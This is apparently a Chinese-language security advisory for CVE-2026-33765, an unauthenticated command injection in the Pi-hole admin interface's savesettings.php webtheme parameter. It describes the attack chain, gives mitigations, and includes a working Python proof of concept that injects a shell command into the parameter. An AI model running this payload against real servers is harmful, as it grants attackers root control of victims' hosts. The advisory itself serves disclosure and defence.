IPBUF安全漏洞报告
English
CVE-2026-33765 CVSS 9.8 严重

CVE-2026-33765 Pi-hole Admin Interface OS命令注入漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-33765
漏洞类型
OS命令注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Pi-hole Admin Interface

相关标签

OS命令注入RCEPi-holeCVE-2026-33765权限提升无需认证

漏洞概述

Pi-hole Admin Interface 6.0之前的版本中存在严重的操作系统命令注入漏洞。攻击者可以通过向savesettings.php发送特制的恶意请求,利用未经过滤的webtheme参数注入任意系统命令。由于该命令以sudo高权限执行,攻击者无需认证即可完全控制服务器。

技术细节

该漏洞的核心在于Pi-hole Web管理接口的savesettings.php文件存在不安全的系统命令调用。应用程序在处理主题设置时,直接获取用户提交的POST参数`webtheme`,并未经过任何安全过滤或验证,就将其拼接到系统命令字符串中。随后,这段被污染的命令字符串通过PHP的`exec()`函数在服务器端执行。由于PHP脚本在处理此功能时配置了sudo权限,导致注入的命令实际上是以高权限(通常为root)身份运行的。攻击者无需任何身份认证,只需发送包含特定Shell元字符(如`;`或`&&`)的恶意请求,即可截断原本的命令逻辑,追加执行任意的系统指令,从而完全控制服务器。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描网络,识别出运行Pi-hole Admin Interface且版本低于6.0的目标服务器。
STEP 2
2. 漏洞利用
攻击者构造包含恶意Shell命令的HTTP POST请求,发送至目标服务器的/admin/savesettings.php接口,并将恶意载荷注入到webtheme参数中。
STEP 3
3. 命令执行
服务器端savesettings.php脚本接收参数,由于缺乏过滤,直接将载荷拼接到系统命令中。该命令通过PHP exec()函数以sudo特权执行,从而运行攻击者注入的任意代码。
STEP 4
4. 权限提升与控制
由于命令以root权限运行,攻击者可以读取敏感文件、安装后门或进一步横向移动,完全控制受害主机。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_pihole(target_url): # Target endpoint where the vulnerability resides url = f"{target_url}/admin/savesettings.php" # The payload injects a command to create a file or execute a shell command # Example: `; touch /tmp/pwned` creates a file to prove execution malicious_payload = "default; touch /tmp/pwned.txt" # Data payload to be sent via POST data = { "webtheme": malicious_payload } try: print(f"[*] Sending payload to {url}...") response = requests.post(url, data=data, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check if /tmp/pwned.txt exists on the target.") else: print(f"[-] Unexpected status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target IP or domain target = "http://192.168.1.100" exploit_pihole(target)

影响范围

Pi-hole Admin Interface < 6.0

防御指南

临时缓解措施
如果无法立即升级,请将Pi-hole管理界面置于VPN之后或仅在内网使用,避免暴露在公网。同时,可以通过修改Web服务器配置(如Nginx/Apache)规则,阻止对savesettings.php的直接外部访问,作为临时的访问控制措施。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表